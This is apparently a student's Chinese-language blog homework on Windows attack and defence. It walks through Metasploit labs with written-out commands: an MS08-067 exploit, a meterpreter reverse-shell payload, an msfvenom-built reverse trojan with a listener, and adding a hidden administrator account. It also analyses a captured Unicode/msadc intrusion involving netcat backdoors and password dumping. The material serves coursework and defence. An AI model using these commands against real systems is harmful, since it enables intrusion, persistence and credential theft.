导航

20199125 2019-2020-2 《网络攻防实践》第七周作业

一.概况

本次作业属于哪门课 网络攻防实践
作业要求 Windows操作系统安全攻防
收获 对于Windows上的一些漏洞和攻击方式有了深刻的理解,掌握如何利用metasploit进行攻击,同时也知道该如何防御

二.知识点梳理

1.Windows操作系统基本结构

1.1.windows系统的内核基本模块

  • Windows执行体
  • Windows内核体
  • 设备驱动程序
  • 硬件抽象层
  • Windows窗口与图形界面接口内核实现代码

1.2.Windows系统在用户态的代码模块

  • 系统支持进程
  • 环境子系统服务进程
  • 服务进程
  • 用户应用软件
  • 核心子系统DLL

1.3.Windows内核的核心机制

  • Windows进程和线程管理机制
  • Windows内存管理机制
  • Windows文件管理机制
  • Windows注册表管理机制
  • Windows的网络机制

2.Windows操作系统的安全体系结构与机制

2.1.Windows安全体系结构

Wdinows操作系统的安全设计目标是采用一致的、健壮的、基于对象的安全模型,支持一台机器上多个用户之间安全的共享进程、内存、设备、文件及网络等类型的系统资源。Windows采用基于引用监控器模型来实现基本的对象安全模型。

2.2.Windows身份认证机制

Windows账户分为用户,用户组,和计算机三大类,Windows用户账户的口令经过加密处理后被保存于SAM或者活动目录AD中,其中本地用户账户口令信息经过不可逆的128位随机密钥Hash加密后存储在SAM文件中。

2.3.Windows授权与访问控制机制

Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。
Windows对象安全符组成:

  • Owner SID:对象所有者的SID安全标识符
  • Group SID:对象所在基本用户组的SID安全标识符(兼容POSIX使用)
  • DACL自主访问控制列表:指明了哪些安全主体可以何种方式来访问该对象
  • SACL 系统审计访问控制列表:指明了由哪些主体发起的哪些访问操作需要被审计

3.Windows远程攻击技术分类

  • 远程口令猜测与破解攻击
  • 攻击Windows网络服务
  • 攻击Windows客户端及用户

4.Windows系统的安全漏洞生命周期

  • Windows安全漏洞发现、利用与修补过程
  • 安全漏洞公开披露信息库
  • 针对特定目标的渗透测试攻击过程:①漏洞扫描测试;②查找针对发现漏洞的渗透代码;③实施渗透测试
  • 使用Metasploit软件实施渗透测试

5.Windows远程口令猜测与破解攻击

  • 远程口令自猜测
  • 远程口令字交换通信窃听与破解
  • 远程口令猜测与破解防范措施

6.Windows网络服务远程渗透攻击

  • 针对NetBIOS网络服务的著名漏洞及攻击
  • 针对SMB网络服务的著名漏洞及攻击
  • 针对MSRPC网络服务的著名漏洞及攻击
  • 针对Windows系统上微软网络服务的远程渗透攻击
  • 针对Windows系统上第三方网络服务的远程渗透攻击

7.Windows本地安全攻防技术

7.1.Windows敏感信息窃取

  • Windows系统口令字密文提取技术
  • Windows系统口令字破解技术
  • 用户敏感数据窃取

7.2.Windows消踪灭迹

  • 关闭审计功能
  • 清理事件日志

7.3.Windows远程控制与后门程序

  • 命令行远程控制工具
  • 图形化远程控制工具

三.实践内容

1.动手实践:Metasploit Windows Attack

原理:

MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。该漏洞利用了Server服务路径规范化处理不当漏洞进行利用。

实践:
  • linux中执行msfconsole启动metasploit工具
  • 使用MS08-067漏洞攻击,使用该攻击模块,执行指令use windows/smb/ms08_067_netapi.
  • 设置监听载荷为shell,执行命令set payload generic/shell_reverse_tcp或者set PAYLOAD windows/meterpreter/reverse_tcp,二者都可以,在这里我使用的是后一种方法。
  • 设置好监听载荷以后,执行命令show options查看网络参数配置信息,其中Lhost为本机ip,Rhost为靶机ip
  • 分别执行命令set lhost [攻击机ip]set rhost [靶机ip]来配置ip地址
  • 设置好ip地址后,可以开始启动攻击,执行命令exploit发动攻击
  • 当靶机中的MS08-067漏洞未修复时,就能够攻击成功,执行shell获取windows命令控制
  • 获取成功后,即像在本机cmd操作一样,可以远程对靶机进行指令操作,输入systeminfo查看靶机信息
  • 同时可以利用指令在靶机上创建一个攻击者的账户,以便日后攻击
  • 检查靶机,发现成功创建了账户
  • 光创建了账户还不行,要进行对系统的攻击,必须把我们创建的账号提权,获取管理员权限,所以继续在msfconsole中执行命令net localgroup Administrators jackpan /add,将我创建的账户加入到靶机管理员组中。
  • 此时对该账户进行激活,执行命令net user jackpan /active:yes,激活账户。
  • 查看靶机账户信息,我创建的账户具有管理员权限

2.取证分析实践:解码一次成功的NT系统破解攻击

  • 首先我们用wireshark打开文件中给出的snort日志文件,对日志文件中的数据流进行筛选,首先筛选出所有HTTP协议的数据
  • 逐条分析数据,发起http请求的主机系统内核为NT5.0,而响应http请求的服务端主机安装了IIS4.0服务组件,初步我们得到这些信息,接下来继续往下看。
  • 在其中一条http请求中,发现和其他不同的地方,Get请求的默认页面后面加上了一些东西,指向了一个系统文件boot.ini,查询该文件作用大概是确定计算机在重启(引导)过程中显示的可供选取的操作系统类别。Boot.ini在缺省状态下被设定为隐含和系统文件属性, 并且被标识为只读文件,由于不知道这是怎么意思,我把Get后面的一串东西都复制到百度寻找答案,发现了一个叫做Unicode的漏洞。
  • Unicode漏洞的原理就是:IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。分析上图中的特殊编码%c0%af,根据查询得知利用这个漏洞编码,根据不同系统内核可分为:Win NT4 编码为:%c1%9c,Win2000 英文版 编码为:%c0%af,所以可以确定受到攻击的主机系统为Win2000英文版。
  • 继续往下分析,又发现一个奇怪的http请求,指向了一个dll动态链接库文件,我把这段复制到百度去匹配信息,在道客巴巴上发现了一篇文档讲的是关于一些攻击工具的源码,仔细看了其中一个的源码,里面出现了跟我分析这个http请求一模一样的东西,这个工具就是msadc2.pl。该工具利用了msadc漏洞,此漏洞是因windows NT 4.0 Option Pack中的组件MDAC(即Microsoft Data Access Components)引起的,它包含了一项RDS(Remote Data Service)的功能。RDS是Microsoft提供给使用者远程访问数据库的服务,它能够让使用者透过ODBC远程存取/查询服务器数据库中的数据信息,而在IIS服务器中,还能够让使用者通过一个位于/msadc虚拟目录内名为msadcs.dll的文件提供RDS服务,以便与远程使用者沟通。



    经过上述分析,可以得出结论,攻击者利用了Unicode和msadc漏洞,使用msadc2.p2工具发起攻击
  • 继续分析攻击者的攻击过程,还是从上面的数据流来看,下图中攻击者使用了SQl注入,在靶机系统目录下生成一个文件
  • 利用Unicode漏洞获取注入到靶机系统目录
  • 攻击者使用虚假的ftp账户来同nether.net建立连接,并尝试下载三个文件,但是没有成功,其中samdump.dll是管理账户文件的链接库,nc.exe是netcat生成的一个后门程序

  • 利用cmd执行pdump.exe,并将结果保存到new.pass,这里我查了不知道这个pdump.exe是干嘛用的,而这个new.pass猜测应该是一个保存password的文件,所以猜测pdump是用来破解密码的。
  • 攻击者又一次建立了ftp连接,使用了虚假账户进行登录,未成功
  • 攻击者一计不成,再施一计,利用cmd指令控制靶机同自己建立ftp连接
  • 下一步攻击者又对靶机执行了open命令,这一步没看懂啥意思
  • 后面攻击者又控制靶机对nether.net建立ftp连接并下载三个文件,现在我清楚了这一系列操作是什么意思,大概就是攻击者利用msadc漏洞对靶机实施远程控制,控制靶机连接某台主机并下载恶意文件。
  • 攻击者使用Unicode漏洞来通过nc后门用6969端口建立连接

    -攻击者控制靶机之后,执行了一些指令,如下图所示,查看个删除了一些文件,创建了一个账户,并尝试将提升账户权限


  • 完成窃取密码以后,攻击者删除了靶机上的samdump.dll和pdump.exe,消除痕迹,而留下了nc后门。

    -攻击者又一次重复了上面的操作
  • 继续分析数据流,发现攻击者在靶机上写入了一个txt文件,攻击者已经察觉到靶机是一个蜜罐主机
  • 攻击者在退出之前修改了靶机上IWAN账户的口令为Snake69Snake69

    如何防御这类攻击:Unicode漏洞和msadc(RDS)漏洞微软都发布了漏洞补丁,打补丁是一种好的方法,其次,更换IIS4,使用高版本IIS组件,配置软硬件防火墙和入侵防御系统。

3.团队对抗实践

要求:攻击方:使用metasploit,选择metasploitable中的漏洞进行渗透攻击,获得控制权;防御方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功之后在本地执行的命令输入等信息。

  • 这里我使用了反弹shell来进行渗透攻击,首先执行命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.23 LPORT=19286 -f exe > /root/reverse.exe生成一个反弹木马,然后将木马发送到靶机上。
  • 然后启动监听模块,use exploit/multi/handler,设置监听载荷set payload windows/meterpreter/reverse_tcp,配置监听ip和端口并运行
  • 当靶机上的木马被点击以后,木马会自动同攻击机建立连接,此时打开wireshark抓取数据包,反弹木马建立连接以后,查看账户信息以及提升账户权限,输入shell执行
  • 对靶机执行命令查看arp缓存表等操作
  • 同时打开wireshark看所捕获的数据流,但是发现生成的反弹木马同攻击机建立的连接是加密的,是无法看到攻击者对靶机发送了什么指令

posted on 2020-04-14 14:07  IT马保国  阅读(352)  评论(0编辑  收藏  举报